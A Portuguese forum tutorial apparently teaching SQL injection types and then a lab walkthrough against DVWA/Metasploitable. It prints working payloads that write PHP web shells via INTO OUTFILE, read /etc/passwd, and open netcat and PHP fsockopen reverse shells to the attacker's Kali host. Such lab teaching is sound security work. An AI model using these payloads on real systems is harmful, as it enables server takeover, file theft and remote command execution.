Jump to content

Introdução ao SQL Injection e Reverse Shell - DVWA


Joas Antonio

Recommended Posts

Introdução

Os ataques em aplicações webs são bastante comuns atualmente, principalmente pela alta migração dos serviços para aplicações web, e ao falar das principais vulnerabilidades conforme o OWASP-TOP 10, muitos já pensam no ataque de SQL injection, por ser uma falha de segurança que ocasiona em grandes impactos e que muitas aplicações web pelo mundo todo, continuam vulneráveis a essa falha.

O que é SQL injection?

O Ataque de Injeção de SQL, consiste em injetar comandos do banco de dados SQL para apagar, coletar ou modificar dados de um banco de dados, ocorrendo quando os dados fornecidos pelo usuário não é validado de forma correta e interpretado como uma forma de injeção de comandos SQL.

Quais são os tipos de ataques de SQL Injection?

In-band SQLi (Classic SQLi)

In-band SQL Injection é o ataque de SQL Injection mais comum e fácil de explorar. In-band SQL Injection ocorre quando um invasor é capaz de usar o mesmo canal de comunicação para iniciar o ataque e coletar resultados.

Os dois tipos mais comuns de injeção de SQL em banda são SQLi baseado em erro e SQLi baseado em união .

Error-based SQLi

SQLi baseado em erro é uma técnica de injeção de SQL em banda que se baseia em mensagens de erro lançadas pelo servidor de banco de dados para obter informações sobre a estrutura do banco de dados. Em alguns casos, apenas a injeção de SQL baseada em erro é suficiente para um invasor enumerar um banco de dados inteiro. Embora os erros sejam muito úteis durante a fase de desenvolvimento de um aplicativo da Web, eles devem ser desabilitados em um site ativo ou registrados em um arquivo com acesso restrito.

Union-based SQLi

SQLi baseado em união é uma técnica de injeção de SQL em banda que aproveita o operador UNION SQL para combinar os resultados de duas ou mais instruções SELECT em um único resultado que é então retornado como parte da resposta HTTP.

Inferential SQLi (Blind SQLi)

A injeção de SQL inferencial, ao contrário do SQLi em banda, pode levar mais tempo para um invasor explorar, no entanto, é tão perigosa quanto qualquer outra forma de injeção de SQL. Em um ataque SQLi inferencial, nenhum dado é realmente transferido por meio do aplicativo da Web e o invasor não poderá ver o resultado de um ataque em banda (e é por isso que esses ataques são comumente chamados de “ ataques de injeção de SQL cegos ”) . Em vez disso, um invasor é capaz de reconstruir a estrutura do banco de dados enviando cargas úteis, observando a resposta do aplicativo da Web e o comportamento resultante do servidor de banco de dados.

Os dois tipos de injeção de SQL inferencial são SQLi baseado em booleano cego e SQLi baseado em tempo cego .

Boolean-based (content-based) Blind SQLi

A injeção de SQL baseada em booleano é uma técnica de injeção de SQL inferencial que se baseia no envio de uma consulta SQL ao banco de dados que força o aplicativo a retornar um resultado diferente dependendo se a consulta retorna um resultado VERDADEIRO ou FALSO.

Dependendo do resultado, o conteúdo da resposta HTTP mudará ou permanecerá o mesmo. Isso permite que um invasor deduza se a carga útil usada retornou verdadeiro ou falso, mesmo que nenhum dado do banco de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados grandes), pois um invasor precisaria enumerar um banco de dados, caractere por caractere.

Time-based Blind SQLi

A injeção de SQL baseada em tempo é uma técnica de injeção de SQL inferencial que se baseia no envio de uma consulta SQL ao banco de dados que força o banco de dados a aguardar um determinado período de tempo (em segundos) antes de responder. O tempo de resposta indicará ao invasor se o resultado da consulta é VERDADEIRO ou FALSO.

Dependendo do resultado, uma resposta HTTP será retornada com atraso ou imediatamente. Isso permite que um invasor deduza se a carga útil usada retornou verdadeiro ou falso, mesmo que nenhum dado do banco de dados seja retornado. Esse ataque geralmente é lento (especialmente em bancos de dados grandes), pois um invasor precisaria enumerar um banco de dados caractere por caractere.

Out-of-band SQLi

Injeção de SQL fora de banda não é muito comum, principalmente porque depende de recursos habilitados no servidor de banco de dados que está sendo usado pelo aplicativo da web. A injeção de SQL fora de banda ocorre quando um invasor não consegue usar o mesmo canal para iniciar o ataque e coletar resultados.

As técnicas fora de banda oferecem ao invasor uma alternativa às técnicas inferenciais baseadas em tempo, especialmente se as respostas do servidor não forem muito estáveis (tornando um ataque inferencial baseado em tempo não confiável).

As técnicas de SQLi fora de banda dependeriam da capacidade do servidor de banco de dados de fazer solicitações DNS ou HTTP para entregar dados a um invasor. É o caso do xp_dirtreecomando do Microsoft SQL Server, que pode ser usado para fazer solicitações de DNS a um servidor que um invasor controla; bem como o pacote UTL_HTTP do Oracle Database, que pode ser usado para enviar solicitações HTTP de SQL e PL/SQL para um servidor que um invasor controla.

https://www.acunetix.com/websitesecurity/sql-injection2/

Esse é o básico de um ataque de SQL Injection, mas claro existem ataques um pouco mais avançado que pode ser utilizado para conseguir uma Reverse Shell.

Porém com os mecanismos de proteção conhecidos como WAF/IDS/IPS, dificultou um pouco à realização desses ataques, sendo necessário à criação de payloads que consigam realizar o bypass desses controles.

Como trabalha um WAF?

https://cdn-images-1.medium.com/max/1000/1*TrvHvu3a9tqo2PrQEz_9Aw.png

Essa imagem resume todo o processo do tráfego que ocorre:

  1. O usuário faz uma requisição na aplicação;
  2. Essa requisição passa pelo WAF ao qual vai validar se é ou não malicioso;
  3. E por fim, vai até o servidor da aplicação se tudo der certo para trazer uma resposta ao usuário;

O objetivo do WAF é prevenir qualquer tipo de ataque de injeção ou manipulação de requisição e adotar politicas de higienização de entradas de dados inválidas. Além de serem bem útils para detectar um 0day conforme o tipo de entrada de dados que está sendo inserido, por isso é um pouco mais difícil bypassar um WAF sem conhece-lo antes e entender de desenvolvimento web para criar seus payloads utilizando técnicas anti-filtros e métodos de escapes de caracteres.

Demonstrando alguns ataques de SQL Injection

Após adquirirmos o básico de conhecimento em ataques de SQL Injection, vamos à prática.

Reading and Writer Files with SQL Injection:

Um método não muito utilizado, mas bem útil para realizar ataques de SQL Injection e assim roubar informações ou até mesmo conseguir uma Reverse Shell é por meio de leitura e escrita de um arquivo.

Geralmente por causa de uma configuração incorreta de permissões no servidor de aplicação web, o usuário do servidor web consegue não só ler, mas até editar arquivos ou cria-los dentro do diretório, sendo possível subir uma shell em .php para comprometer o servidor.

Por exemplo:

Você tem diferentes tipos de payloads que pode ser útil para gravar arquivos em um sistema, exemplo:

‘ union select 1, “<?php system($_GET[‘cmd’]); ?>” into outfile ‘/var/www/shell.php’ #

https://cdn-images-1.medium.com/max/1000/1*PQhz7mWqhBt0QozeKK93zQ.pnghttps://cdn-images-1.medium.com/max/1000/1*k2ABzwWkOS-cKwRec286ag.png

Esse payload permite que eu crie um arquivo chamado shell.php e nele contenha um código em php para executar comandos pela aplicação.

E caso queremos fazer à leitura de um arquivo, podemos utilizar o seguinte payload

‘ UNION SELECT 1, load_file(‘/etc/passwd’) #

https://cdn-images-1.medium.com/max/1000/1*2R7KSWHWgpOVe1pb7qNcGg.png

Assim ele retorna o /etc/passwd do alvo, além de ser possível exfiltrar outros arquivos que desejar.

Alguns métodos e payloads que você pode utilizar para ir mais além na suas explorações
https://www.exploit-db.com/papers/14635

https://sqlwiki.netspi.com/attackQueries/readingAndWritingFiles/#mysql

SQL Injection to Remote Code Execution:

Após subirmos aquela shell.php no servidor web, podemos utilizar ele para alcançar uma reverse shell, primeiramente vamos chamar a nossa pequena shell em PHP.

https://cdn-images-1.medium.com/max/1000/1*63M8ESIX3a76cymBV9rKpQ.png

http://vulnserver/shell.php?cmd=ls -ls
Ele nos retorna os diretórios da pasta atual, assim obtendo êxito na execução de código remoto, assim abre um leque para várias oportunidades sendo possível até obter um Meterpreter, porém vamos subir um Netcat básico primeiro.

Mas antes, vamos rodar o comando Whereis para verificar se existe o netcat na máquina.

http://vulnserver/shell.php?cmd=whereis nc

https://cdn-images-1.medium.com/max/1000/1*Eel2nUhQTpGgVoVsHLpj2w.png

Sucesso!
Agora podemos abrir uma Reverse Shell tranquilamente na porta que desejarmos.

Primeiramente eu abrir um Netcat no meu Kali Linux na porta 4321
Comando: nc -nvlp 4321
Em resumo ele abre uma porta, deixa na escuta e retorna toda interação feita por ela.

https://cdn-images-1.medium.com/max/1000/1*6qCz2lEPAkkaeSZecr34qQ.png

E por fim, eu executo o netcat via shell.php para se comunicar com essa porta, utilizando o seguinte comando.

http://vulnserver/shell.php?cmd=nc -nv ipkalilinux 4321 -e /bin/bash

Assim eu me comunico com a máquina e executo uma shell para eu interagir com à máquina, porém eu consigo deixar essa shell mais interativa ainda utilizando o seguinte comando:

python -c “import pty;pty.spawn(‘/bin/bash’)” (Python2)
python3 -c “import pty;pty.spawn(‘/bin/bash’)” (Python3)

https://cdn-images-1.medium.com/max/1000/1*nLrINr88BuE0ONm56CKl_Q.png

Agora é só escalar privilégios, no metasploitable você pode utilizar o PHP para fazer essa escalação, basta apenas seguir dois processos.

  1. Abrir um outro terminal no Kali Linux e subir um netcat em uma porta aleatória;
  2. Basta executar na Reverse Shell atual o seguinte comando: php -r ‘$sock=fsockopen(“ipkalilinux”,port);exec(“/bin/sh -i <&3 >&3 2>&3”);’

https://cdn-images-1.medium.com/max/1000/1*yYsG49CqrUDQkyoIp1oxWA.png

Esse é um método de subir uma Reverse Shell e Escalar privilégio, existem outros principalmente se explorando das credenciais default do MySQL e assim executar o seguinte processo.

mysql -u root -h target

Depois disso basta criar uma shell em PHP utilizando o seguinte payload

select '<?php $output=shell_exec($_GET["cmd"]);echo "<pre>".$output."</pre>"?>' into outfile '/var/www/html/cmd.php' from mysql.user limit 1;

Por fim, abra a aplicação web e execute o seguinte parâmetro

http://ip-do-webserver/cmd.php?cmd=id

Pronto! Agora é só utilizar à criatividade para elevar o seu nível.

Conclusão

Ataques de SQL Injection são fáceis de corrigir, mas infelizmente existem milhares de aplicações vulneráveis, sendo até mesmo de empresas grandes que geralmente recebem reports por intermédios de programas de Bug Bounty.

Portanto, eu recomendo que você desenvolvedor invista em segurança de aplicação e ponha as boas práticas de segurança em ação, pois assim você vai ter uma aplicação segura e dificilmente de ser comprometida, claro que nenhum sistema é seguro, mas o nosso papel como profissionais de segurança é garantir que os impactos seja o menor possível.

Edited by Joas Antonio
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...